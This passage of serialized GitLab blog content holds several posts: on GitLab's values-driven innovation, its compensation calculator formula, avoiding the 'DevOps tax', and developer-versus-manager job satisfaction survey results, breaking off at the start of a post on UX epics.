a very good job coding GitLab [when he and his co-founders all started back in 2011]. But I think I'm doing a good job coding GitLab the company.\"\n\nAs a remote-only company, \"coding the company\" means (1) writing things down, (2) referencing back to what's been written and (3) reinforcing it through rewards.\n\nAll of this \"GitLab the company\" code is captured in its handbook. The handbook is referenced in almost every conversation. The handbook consists of over 1,000 pages of text. It's a tool that GitLab uses to capture and detail out decisions that have already been made about all of its core business practices – marketing, sales, product, team operations, finance, and more. It's a constant practice for Sid and the team to reference the handbook in meetings, and to send people to look there first before continuing the conversation.\n\nThe values take a prime place in the handbook. There, values are defined, not just described. Words can mean different things in different contexts – and these values indicate a particular thing at GitLab. The definitions are brought to life with 5-15 concrete actions that employees often take for each of the six values. As Sid says, \"The culture got stronger because it is written down. And because it improves and is edited over time.\" And then they're reinforced every day through hiring, coaching, performance reviews and casual conversations.\n\nIt's rare that companies think about linking their values with their competitive advantage. It's rarer still that a company brings its values to life through the day-to-day work. What GitLab has unlocked with its values orientation is not just good and meaningful work. It has also opened the most important competitive advantage in its business model – speed.\n\n>It's rare that companies think about linking their values with their competitive advantage. It's rarer still that a company brings its values to life through the day-to-day work.\n\nIt says it right there in the 'Why have values' section of the handbook: \"Values are a framework for distributed decision-making; they allow you to determine what to do without asking your manager.\" By encoding values deep into everyday activities of the company, everyone on GitLab's team can make decisions faster.\n\nIn DevOps, winning is about getting there first. GitLab coded values right into its organizational design to make sure it could always be the fastest to market.\n\n## Parting thoughts: Will high-efficiency innovation work for you?\n\nAlthough they weren't thinking about large corporations, the oracles of Delphi were right. The most important maxim is to \"know thyself.\" The GitLab prescription isn't right for every company. What's most important is to build a culture of innovation that reflects your strengths and your values.\n\nGitLab is a company of executors, of coders and of people who aren't afraid to work out in the open and make mistakes. They see clear problems. Then they attack. GitLab built a method of innovation that works well for them, but it's not a one-size-fits-all approach. It won't work for everyone, but it might work for you.\n\n#### Here are the questions you should ask:\n\n1. Is the problem you're facing clear to you and your competitors?\n1. Would the people on your team prioritize efficiency over novelty if it'll get you there first?\n1. Do you know how to make trade-offs between what works for your existing customers and what might work better for future customers?\n\nIf you answered yes, pay close attention to what GitLab is doing. Their unrelentingly quick iterative process might be just what the doctor ordered to scale your innovation.\n\nIf not, the GitLab system isn't the right fit for you. You'll want to organize your innovation in a different way.\n\nAs one example, we built Jump to handle an entirely different type of [highly ambiguous problems](https://www.forbes.com/sites/brucerogers/2018/01/25/innovation-leaders-dev-patnaik-co-founder-and-ceo-jump-associates/3/#42518f211238). So it makes sense that some of Jump's values (Passion, Curiosity, Enthusiasm, Intention, Acuity, Initiative and Play) look very much the opposite of GitLab's values (Collaboration, Results, Efficiency, Diversity, Iteration and Transparency).\n\nJump and GitLab are both deeply values-oriented companies with rich and collaborative cultures focused on innovation. And yet we value different things, have different org structures, hire different types of people and work on very different types of problems.\n\nSo what if you're like me and your company's approach or market situation is quite different than GitLab's? Take this as an opportunity to learn from seeing your mirror image.\n\nFirst, test parts of their approach. See what works for you and your team. Then, consider the polar opposites. Find the points where you value distinctly different things, and ask why. Learn why their method works for them, and why it wouldn't work for you. Then flip the script – what's an approach to innovation that GitLab would never do that would be a difference maker for you if you did it?\n\nEither way, take note of what GitLab is doing and how they're doing it. It's amazing, effective, growing like crazy and a great place to work. And ask yourself – should my team be innovating like that?\n\n## About the guest author\n\nJay Newman is Director of Strategy at Jump Associates, a leading strategy and innovation firm. Learn more at [jumpassociates.com](http://www.jumpassociates.com) and connect directly with Jay on [LinkedIn](https://www.linkedin.com/in/jaynewman1).\n\nPhoto by [Karsten Würth](https://unsplash.com/photos/ZKWgoRUYuMk?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[676,2368,1444],{"slug":33782,"featured":6,"template":678},"high-efficiency-innovation","content:en-us:blog:high-efficiency-innovation.yml","High Efficiency Innovation","en-us/blog/high-efficiency-innovation.yml","en-us/blog/high-efficiency-innovation",{"_path":33788,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33789,"content":33794,"config":33799,"_id":33801,"_type":16,"title":33802,"_source":17,"_file":33803,"_stem":33804,"_extension":20},"/en-us/blog/gitlabs-global-compensation-calculator-the-next-iteration",{"title":33790,"description":33791,"ogTitle":33790,"ogDescription":33791,"noIndex":6,"ogImage":12664,"ogUrl":33792,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33792,"schema":33793},"GitLab’s Global Compensation Calculator: The next iteration","We released a new version of our Compensation Calculator in January – here’s what that means for new and existing GitLab team-members.","https://about.gitlab.com/blog/gitlabs-global-compensation-calculator-the-next-iteration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab’s Global Compensation Calculator: The next iteration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Brittany Rohde\"}],\n        \"datePublished\": \"2018-03-23\",\n      }",{"title":33790,"description":33791,"authors":33795,"heroImage":12664,"date":33796,"body":33797,"category":299,"tags":33798},[23307],"2018-03-23","\n\nWe know many of you have thoughts about our [Compensation Calculator](/handbook/total-rewards/compensation/compensation-calculator/#the-compensation-calculator)! We see your comments on Hacker News; we are listening and continually working on improving it. In line with our value of [iteration](https://handbook.gitlab.com/handbook/values/#iteration), we have made additional changes to our Compensation Calculator. In January 2018, we released a new version to align the calculator closer to market rates, and adjust all current team members’ pay to be in line with the outputs of the iterated version. Here’s how it works.\n\n \u003C!-- more -->\n\n## What is our new formula?\n\nYour compensation = [SF benchmark](#sf-benchmark) x (0.7 x (max (0.2, [Rent Index](#rent-index) + [Hot Market Adjustment](#hot-market-adjustment)) / 1.26) + 0.30) x [Level Factor](#level-factor) x [Experience Factor](#experience-factor) x [Contract Type Factor](#contract-type-factor) x [Country Factor](#country-factor)\n\n### SF benchmark\n\nThis is the employee salary at the 50th percentile for the role in San Francisco (SF), which we determine using various sources of market data including [Comptryx](http://www.comptryx.com/).\n\n### Rent Index\n\nThis is taken from [Numbeo](https://www.numbeo.com/cost-of-living/), which expresses the ratio of cost of rent in many metro areas. Since we are using San Francisco benchmarks, we divide by 1.26 to normalize the rent index to San Francisco. A minimum Rent Index of 0.2 is applied so no one is paid less than 41 percent of San Francisco's market.\n\nWe multiply the Rent Index by 0.7 and then add 0.3, so the sum would equal 1 (i.e. we pay San Francisco rates in San Francisco).\n\n### Hot Market Adjustment\n\nThis is an adjustment to any US-based metro area where the geographical area Rent Index is less than the Hot Market Adjustment plus the Numbeo Rent Index, to recognize that \"hot markets\" tend to have a Rent Index that is trailing (i.e. lower than) what one would expect based on compensation rates in the area.\n\n### Level Factor\n\nThis is currently defined as junior (0.8), intermediate (1.0), senior (1.2), staff (1.4), or manager (1.4), and will be defined as II (.8), III (1.0), Senior (1.2), Staff (1.4), or manager (1.4).\n\n### Experience Factor\n\nThis falls between 0.8 - 1.2 based on our [Experience Factor Guidelines](/handbook/total-rewards/compensation/compensation-calculator/#level-factor):\n\n- 0.8: New to the position requirements\n- 0.9: Learning the position requirements\n- 1: Comfortable with the requirements\n- 1.1: Thriving with the requirements\n- 1.2: Expert in the requirements\n\n### Country Factor\n\nThis is a ratio of the calculator to market data. We [determine this ratio](/handbook/total-rewards/compensation/compensation-calculator/#location-factor) by looking at how our calculator aligns to market in the region. If the calculator comes in higher than market, a factor lower than 1 is applied. If the calculator is in line with market, the factor stays at 1.\n\n### Contract Type Factor\n\nThis distinguishes between employee (1) or contractor (1.17). A contractor may carry the costs of their own health insurance, social security taxes, etc, leading to a 17 percent higher compensation for the contractor to account for the extra expenses to these GitLab team-members.\n\nThe calculator can be found on each position description. For example, take a look at our [Compensation Calculator for Developers](https://handbook.gitlab.com/job-families/engineering/backend-engineer/?area=San-Francisco_California&country=United-States&experience=0&level=Intermediate&low=96160&high=144240#compensation).\n\n## Using San Francisco Market Data\n\nThe first step in this iteration was to gather market data and incorporate it as the benchmarks for each role. After obtaining a global data set to map to our positions, we needed to decide if New York was still the right city to pivot the benchmarks around. After some analysis, we determined that San Francisco was a better source of data, so we adjusted the formula. We also analyzed and adjusted the parameters around rent index to ensure in San Francisco you make San Francisco's benchmark.\n\n## Instituting a Minimum Rent Index\n\nEarlier in 2017, we instituted a Geographical Areas iteration to the compensation calculator to ensure that there are not large pay differences in regions that have a similar job market. We looked at the rent indexes by [region](/handbook/total-rewards/compensation/compensation-calculator/#location-factor), determined any outliers on the high or low end of the rent index, and set the regional rent index at the highest of the remaining data set. With the January iteration of the compensation calculator, we also set a Minimum Rent Index so no one would be paid less than 41 percent of San Francisco’s market.\n\n## Adjusting our team’s pay\n\nWith this iteration of the compensation calculator, we wanted to align our team’s salaries according to market. We first looked at how experienced the team member is in their role by having the manager conduct an [Experience Factor Review](/handbook/total-rewards/compensation/compensation-calculator/#level-factor). This review verified we are paying our team in line with their experience, and not determining their experience to fit compensation. This review generates an output which is applied in the compensation calculator, but is also a great way to start the conversation around growth within each role. Managers and direct reports were able to review the experience factors and have constructive conversations around experience. Once we had all of the calculator inputs, including the up-to-date Experience Factor, our People Ops team reviewed all salaries to match the new compensation calculator. At the same time as the calculator was released, the increases to pay were also communicated.\n\n## What’s next, and why we think the compensation calculator is a powerful tool\n\nWe’ll continue to add more countries to our Country Factors list, review adding an additional factor for specialization within Development roles, review how the levels overlap when it comes to promotions, and review the Rent Indexes for countries with many data points (like the United States and United Kingdom).\n\nWe want to continue to make the calculator as reflective of market in as many locations as we can, given possible data constraints. This will go some way towards eliminating pay inequality among underrepresented groups, promote salary transparency on what each team member and candidate’s market value is, and save valuable recruiting time.\n\nWe also want to hear from you on where this calculator can continue to improve! Please let us know what you think in the comments.\n\n[Cover image](https://unsplash.com/photos/_zsL306fDck?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Antoine Dautry on [Unsplash](https://unsplash.com/search/photos/numbers?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[3798,676,7715],{"slug":33800,"featured":6,"template":678},"gitlabs-global-compensation-calculator-the-next-iteration","content:en-us:blog:gitlabs-global-compensation-calculator-the-next-iteration.yml","Gitlabs Global Compensation Calculator The Next Iteration","en-us/blog/gitlabs-global-compensation-calculator-the-next-iteration.yml","en-us/blog/gitlabs-global-compensation-calculator-the-next-iteration",{"_path":33806,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33807,"content":33813,"config":33818,"_id":33820,"_type":16,"title":33821,"_source":17,"_file":33822,"_stem":33823,"_extension":20},"/en-us/blog/avoiding-devops-tax-webcast",{"title":33808,"description":33809,"ogTitle":33808,"ogDescription":33809,"noIndex":6,"ogImage":33810,"ogUrl":33811,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33811,"schema":33812},"How to avoid the DevOps tax","Realize a faster DevOps lifecycle with these best practices for integration and automation – watch our recent webcast with guest speaker Forrester Senior Analyst Christoper Condo and GitLab Head of Product Mark Pundsack.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749670214/Blog/Hero%20Images/devops-nova-scotia-cover.jpg","https://about.gitlab.com/blog/avoiding-devops-tax-webcast","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to avoid the DevOps tax\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-03-21\",\n      }",{"title":33808,"description":33809,"authors":33814,"heroImage":33810,"date":33815,"body":33816,"category":8943,"tags":33817},[19026],"2018-03-21","\n\nWith the influx of DevOps-related products and services on the market, today’s application delivery toolchain has become complex and fragmented, resulting in more time spent on integrating tools instead of software innovation. Mark Pundsack, Head of Product at GitLab, and guest speaker Christopher Condo, Senior Analyst at Forrester, recently met to discuss the current state of [DevOps automation](/topics/devops/) and how IT leaders can unlock themselves from today’s toolchain to avoid the “DevOps tax.”\n\n\u003C!-- more -->\n\n- [What is the DevOps tax?](#what-is-the-devops-tax)\n- [What's in the webcast?](#whats-in-the-webcast)\n- [Watch the recording](#watch-the-recording)\n- [Key takeaways](#key-takeaways)\n\n## What is the DevOps tax?\n\nIn a typical DevOps toolchain, lots of different tools are tied together to deliver DevOps. You have different tools for planning, code creation, CI and security testing, packaging, release and deploy, configuration management, and monitoring.\n\nBut administrating all these products and connecting them together is complex. For example, your CI needs to talk to your version control, your code review, your security testing, your container registry, and your configuration management. The permutations are staggering, and it’s not just a one-time configuration – each new project needs to reconnect all these pieces together.\n\nThat's the DevOps tax: time spent on integrating and maintaining complicated toolchains, limiting your efficiency.\n\n## What's in the webcast\n\nBefore we dive into the DevOps tax and how to avoid it, we start by looking at digital transformation and current trends in DevOps, leading up to the DevOps tax, and then offering some best practices for reducing friction.\n\n## Watch the recording\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/iIElDMEC3U0\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways\n\n### The digital transformation imperative\n\n\u003Cdiv class=\"panel panel-default twitter-block\"> \u003Ca class=\"twitter-block-link panel-body\" href=\"http://twitter.com/share?text=%22When we think about digital transformation, we think about and talk about delivering value to your customer quickly, repeatedly, and with high quality%22 – guest @forrester via @GitLab webinar; url=/2018/03/21/avoiding-devops-tax-webcast/;hashtags=\" rel=\"nofollow\" target=\"_blank\" title=\"Tweet!\"> \u003Cspan class=\"twitter-text pull-left\"> \"When we think about digital transformation, we think about and talk about delivering value to your customer quickly, repeatedly, and with high quality\" – guest @forrester via @GitLab webinar\u003C/span> \u003Cspan class=\"click-to-tweet\"> Click to tweet! \u003Ci class=\"fab fa-twitter\">\u003C/i> \u003C/span> \u003C/a> \u003C/div>\n\n#### Customer experience is key\n\n>The people with the bad customer experience, their stock is lagging those companies that have an excellent customer experience. That's showing you that customer experience really matters - Christopher Condo\n\n#### Expect disruption\n\n>The common thread is placing the customer first. If there's a place where the customer's not being placed first, and some company can come along with an innovative way to do it, it seems like the government is open to it and customers are certainly open to it as well - Christopher Condo\n\n### Trends in DevOps\n\n#### Better integration of tools\n\n\u003Cdiv class=\"panel panel-default twitter-block\"> \u003Ca class=\"twitter-block-link panel-body\" href=\"http://twitter.com/share?text=%22You don't want people handcrafting all their tool chains all the time. You don't want a situation where every time an engineer changes teams he has to learn a whole new set of tools%22 – guest @forrester via @GitLab webinar;url=/2018/03/21/avoiding-devops-tax-webcast/;hashtags=\" rel=\"nofollow\" target=\"_blank\" title=\"Tweet!\"> \u003Cspan class=\"twitter-text pull-left\"> \"You don't want people handcrafting all their tool chains all the time. You don't want a situation where every time an engineer changes teams he has to learn a whole new set of tools\" – guest @forrester via @GitLab webinar \u003C/span> \u003Cspan class=\"click-to-tweet\"> Click to tweet! \u003Ci class=\"fab fa-twitter\">\u003C/i> \u003C/span> \u003C/a> \u003C/div>\n\n>I just ran a Wave on continuous integration tools and customers told us loud and clear that they are looking for a complete, integrated toolchain because they're tired of integrating their own toolchain. It's great to have the integrated tool chain but it comes at a cost - Christopher Condo\n\n#### Better integration of teams\n\n>They want to be able to check in with the security expert and say, \"Here's our design, here's our architecture, here's how we're handling these problems. What are we missing? What do we need to be doing next?\" All of those teams sort of act as shared resources, they don't act as blockers on a particular project - Christopher Condo\n\n#### Containers are critical\n\n\u003Cdiv class=\"panel panel-default twitter-block\"> \u003Ca class=\"twitter-block-link panel-body\" href=\"http://twitter.com/share?text=%22Containers allow folks to worry about what they're best at rather than trying to have everybody know everything – guest @forrester via @GitLab webinar; url=/2018/03/21/avoiding-devops-tax-webcast/; hashtags=\" rel=\"nofollow\" target=\"_blank\" title=\"Tweet!\"> \u003Cspan class=\"twitter-text pull-left\"> \"Containers allow folks to worry about what they're best at rather than trying to have everybody know everything\" – guest @forrester via @GitLab webinar \u003C/span> \u003Cspan class=\"click-to-tweet\"> Click to tweet! \u003Ci class=\"fab fa-twitter\">\u003C/i> \u003C/span> \u003C/a> \u003C/div>\n\n### What is the DevOps tax?\n\n>When it's a pain to integrate security, how many teams just don't bother? Or when it's a pain to share information between teams, how many organizations overcome that burden and find a way to work together? How much impact does this tax have on collaboration? With separate tools and separate processes, we're naturally encouraging separate silos where functional teams work in isolation - Mark Pundsack\n\n### Concurrent DevOps\n\n\u003Cdiv class=\"panel panel-default twitter-block\"> \u003Ca class=\"twitter-block-link panel-body\" href=\"http://twitter.com/share?text=%22When the entire DevOps lifecycle is seamless, magic starts to happen. Teams can work concurrently, not sequentially – @MarkPundsack via @GitLab;url=/2018/03/21/avoiding-devops-tax-webcast/;hashtags=\" rel=\"nofollow\" target=\"_blank\" title=\"Tweet!\"> \u003Cspan class=\"twitter-text pull-left\"> \"When the entire DevOps lifecycle is seamless, magic starts to happen. Teams can work concurrently, not sequentially\" – @MarkPundsack via @GitLab \u003C/span> \u003Cspan class=\"click-to-tweet\"> Click to tweet! \u003Ci class=\"fab fa-twitter\">\u003C/i> \u003C/span> \u003C/a> \u003C/div>\n\n### DevOps best practices\n\n- To maximize your digital transformation, you need to optimize your CI/CD pipeline, create integrated product teams, and modernize your application architecture with microservices and a cloud native approach.\n- Avoid the DevOps tax by reducing the number of integration points in your toolchain, integrate as deeply as you can, and strive for a single conversation across development, operations, security and business.\n- If you’re just getting started, start with continuous integration. Automating tests and building confidence in your code will pay dividends many times over.\n- If you already got CI, then move on to continuous delivery. Automate deployments and make them less scary. If you already started the DevOps transformation, then embrace the culture. You can only go so far when there’s a wall between dev and ops.\n\u003Cbr>\u003Cbr>\n",[4103,3554],{"slug":33819,"featured":6,"template":678},"avoiding-devops-tax-webcast","content:en-us:blog:avoiding-devops-tax-webcast.yml","Avoiding Devops Tax Webcast","en-us/blog/avoiding-devops-tax-webcast.yml","en-us/blog/avoiding-devops-tax-webcast",{"_path":33825,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33826,"content":33831,"config":33836,"_id":33838,"_type":16,"title":33839,"_source":17,"_file":33840,"_stem":33841,"_extension":20},"/en-us/blog/managers-more-optimistic-than-developers",{"title":33827,"description":33828,"ogTitle":33827,"ogDescription":33828,"noIndex":6,"ogImage":15149,"ogUrl":33829,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33829,"schema":33830},"How do developers and managers feel about their jobs?","How do you assess job satisfaction? Here's a look inside the findings and methods of our Global Developer Report.","https://about.gitlab.com/blog/managers-more-optimistic-than-developers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How do developers and managers feel about their jobs?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Emily von Hoffmann\"}],\n        \"datePublished\": \"2018-03-20\",\n      }",{"title":33827,"description":33828,"authors":33832,"heroImage":15149,"date":33833,"body":33834,"category":8943,"tags":33835},[22017],"2018-03-20","\n_Our [2022 Global DevSecOps Survey](/developer-survey/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals._\n\nOne of the goals of our [2018 developer survey](/developer-survey/previous/2018/) was to establish a benchmark for how satisfied software professionals generally are in their jobs. Using the detailed demographic information we captured at the beginning, we were able to sort and compare the opinions of different groups within our sample of over 5,000 respondents. One of our key findings was that, for all their differences, developers and managers agree with each other on a lot of things, but managers tend to have a slightly rosier outlook when their views diverge.\n\n\u003C!-- more -->\n\n### How we determined overall satisfaction\n\nSurveys are tricky, and humans are trickier, so we had to brainstorm a bit on what exactly we were interested in learning, and [how](http://www.pewresearch.org/methodology/u-s-survey-research/questionnaire-design/) we could coax out this information without introducing our own biases. We used a series of [likert scales](https://www.surveymonkey.com/mp/likert-scale/) to get at these groups’ perceptions of their autonomy, team dynamics, support, and other fuzzy things that we think can really drive happiness in a role (we also asked about details on tooling and workflow [later on](/developer-survey/previous/2018/) in the survey). We’ve [published before](https://medium.com/@gitlab/invite-your-engineers-to-talk-business-heres-why-485ce02c4d18) on what happens when your business and engineering teams are out of sync, and we wanted to ask about other symptoms of that same problem. Here are some of the questions, along with the raw data that we used to compare satisfaction between developers and management.\n\n\u003Cstyle type=\"text/css\">\n.tg  {border-collapse:collapse;border-spacing:0;}\n.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;}\n.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;}\n.tg .tg-9hbo{font-weight:bold;vertical-align:top}\n.tg .tg-yw4l{vertical-align:top}\n\u003C/style>\n\u003Ctable class=\"tg\">\n  \u003Ctr>\n    \u003Cth class=\"tg-9hbo\">Managers\u003C/th>\n    \u003Cth class=\"tg-9hbo\">%\u003C/th>\n    \u003Cth class=\"tg-9hbo\">Developers\u003C/th>\n    \u003Cth class=\"tg-9hbo\">%\u003C/th>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team is set up to succeed\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">84\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">I feel set up to succeed\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">75\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team is given realistic deadlines\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">68\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">I’m given realistic deadlines\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">65\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">Project expectations are set up front\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">60\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">Project expectations are set up front\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">50\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team rarely needs to sacrifice quality to meet a deadline\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">53\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">I rarely need to sacrifice quality to meet a deadline\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">50\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team is able to make decisions about their work\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">91\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">It’s important to me to be able to make decisions about my work\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">96\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team has the authority to make decisions\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">88\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">I have the authority to make decisions about my work\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">83\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team's ideas and opinions are valued\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">93\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">My ideas and opinions are valued\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">84\u003C/td>\n  \u003C/tr>\n  \u003Ctr>\n    \u003Ctd class=\"tg-yw4l\">My team has access to the best development tools\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">81\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">I have access to the best development tools\u003C/td>\n    \u003Ctd class=\"tg-yw4l\">74\u003C/td>\n  \u003C/tr>\n\u003C/table>\n\n\n### Tying individual attitudes to culture\n\nWhat are some other things that might contribute to a frustrating or dysfunctional culture? To try to hint at big, sometimes implicit things like psychological safety, bureaucracy, and whether their team is more democratic or autocratic, we had to come up with a list of concrete indicators, which you can see below:\n\n\u003Ccenter>\u003Cimg src=\"/images/blogimages/biggest-challenges-chart.png\" alt=\"biggest challenges to adopting new tools and practices\" class= \"shadow\" style=\"width: 700px;\"/>\u003C/center>\n\nWhen we asked about the biggest challenges teams face when adopting new processes or tools, the top three responses were replacing ingrained practices, resistance to change, and cross-team communication. Developers and managers are in agreement here almost exactly, although developers are slightly more likely to name resistance to chance (51 percent) than managers (46 percent).\n\nWe saw this echoed in other ways, with the greatest number of developers (42 percent) naming unclear direction as their top challenge to getting work done. Relatedly, just 57 percent of developers say they have visibility into what their team members in operations, security, and product are working on. Managers feel slightly better off in this regard, with 69 percent reporting that they have visibility (we also found some differences in how remote versus in-office teams view the issue, which you can read more about [here](/developer-survey/previous/2018/)).\n\n### What we want to learn next\n\nCommunication, and structures or habits that might enable or impede it, is a theme that we’re interested in learning more about. It’s a predictable problem with no easy fix, so we ran a Twitter poll to get some input on how teams have wrestled with communication issues in the past.\n\nOne suggestion for how to overcome the cultural barriers to adopting DevOps is to embed team members to improve cross-team collaboration, but that doesn’t always seem doable because it’s an organizational change, requiring buy-in from many more people than just the developers involved. It wasn’t surprising, then, that this option was chosen the least. Regular social activities and working sessions seem like much cheaper options, but were barely more popular. The greatest number of people simply chose our equivalent of ¯\\\\\\_(ツ)_/¯.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">We heard from developers that miscommunication is a major challenge to getting work done \u003Ca href=\"https://t.co/Cvqwnf5tVH\">https://t.co/Cvqwnf5tVH\u003C/a>. \u003Cbr>\u003Cbr>What&#39;s the best way to improve communication issues between teams in your engineering organization?\u003C/p>&mdash; GitLab (@gitlab) \u003Ca href=\"https://twitter.com/gitlab/status/973648916536205312?ref_src=twsrc%5Etfw\">March 13, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWe heard from a few devs about solutions that didn’t make our short list, and they’re rarely about just talking to each other more. Tellingly, the responses we got were much more likely tying communication to big, pervasive cultural things, like compensation incentives and respect for others’ work.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Mutual respect and interest in the work of others. Especially between different but collaborating professions like design and development but also within a group of the same type.\u003C/p>&mdash; ᴄɪᴛɪᴢᴇɴ ᴅʀᴀɪɴ (@Citizen_Drain) \u003Ca href=\"https://twitter.com/Citizen_Drain/status/973671170808696832?ref_src=twsrc%5Etfw\">March 13, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Writing documentation, and planning. Old skool and works.\u003C/p>&mdash; Peter Bowyer (@peterbowyer) \u003Ca href=\"https://twitter.com/peterbowyer/status/973650507930664966?ref_src=twsrc%5Etfw\">March 13, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWhen we [asked](https://twitter.com/gitlab/status/974023284953006080) Netflix engineer Randall Koutnik for more details on his tweet (below) he [wrote a post](https://rkoutnik.com/2018/03/17/incentivize-teams-not-people.html) with examples of how dev teams can be undermined by policies tying financial incentives and promotion criteria to individual performance goals, rather than company performance.\n\n\u003Cdiv class=\"center\">\n\n\u003Cblockquote class=\"twitter-tweet\" data-conversation=\"none\" data-lang=\"en\">\u003Cp lang=\"en\" dir=\"ltr\">Too many companies financially incentivize against teamwork. If my bonus is determined by me hitting my objectives, then it&#39;s counterproductive to help others instead of focusing in on my own work.\u003C/p>&mdash; Randall Koutnik (@rkoutnik) \u003Ca href=\"https://twitter.com/rkoutnik/status/973689841870229507?ref_src=twsrc%5Etfw\">March 13, 2018\u003C/a>\u003C/blockquote>\n\u003Cscript async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\">\u003C/script>\n\n\u003C/div>\n\nWhy is this predictable problem so stubborn? What has your team tried? Tweet us [@gitlab](https://twitter.com/gitlab).\n\nPhoto by [Dylan Gillis](https://unsplash.com/photos/KdeqA3aTnBY) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[8570,7715,4103],{"slug":33837,"featured":6,"template":678},"managers-more-optimistic-than-developers","content:en-us:blog:managers-more-optimistic-than-developers.yml","Managers More Optimistic Than Developers","en-us/blog/managers-more-optimistic-than-developers.yml","en-us/blog/managers-more-optimistic-than-developers",{"_path":33843,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":33844,"content":33850,"config":33855,"_id":33857,"_type":16,"title":33858,"_source":17,"_file":33859,"_stem":33860,"_extension":20},"/en-us/blog/use-cases-for-epics",{"title":33845,"description":33846,"ogTitle":33845,"ogDescription":33846,"noIndex":6,"ogImage":33847,"ogUrl":33848,"ogSiteName":1180,"ogType":1181,"canonicalUrls":33848,"schema":33849},"How the GitLab UX team uses epics","UX Manager Sarrah Vesselov shares how the UX team is using epics to manage their workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680187/Blog/Hero%20Images/how-ux-team-uses-epics.jpg","https://about.gitlab.com/blog/use-cases-for-epics","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the GitLab UX team uses epics\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sarrah Vesselov\"}],\n        \"datePublished\": \"2018-03-19\",\n      }",{"title":33845,"description":33846,"authors":33851,"heroImage":33847,"date":33852,"body":33853,"category":734,"tags":33854},[31548],"2018-03-19","\n\nOne of the challenges for UX here at GitLab is how to work iteratively, making the smallest changes possible, while maintaining a holistic view of the application. As the manager for the UX department, I was curious to see how we could use 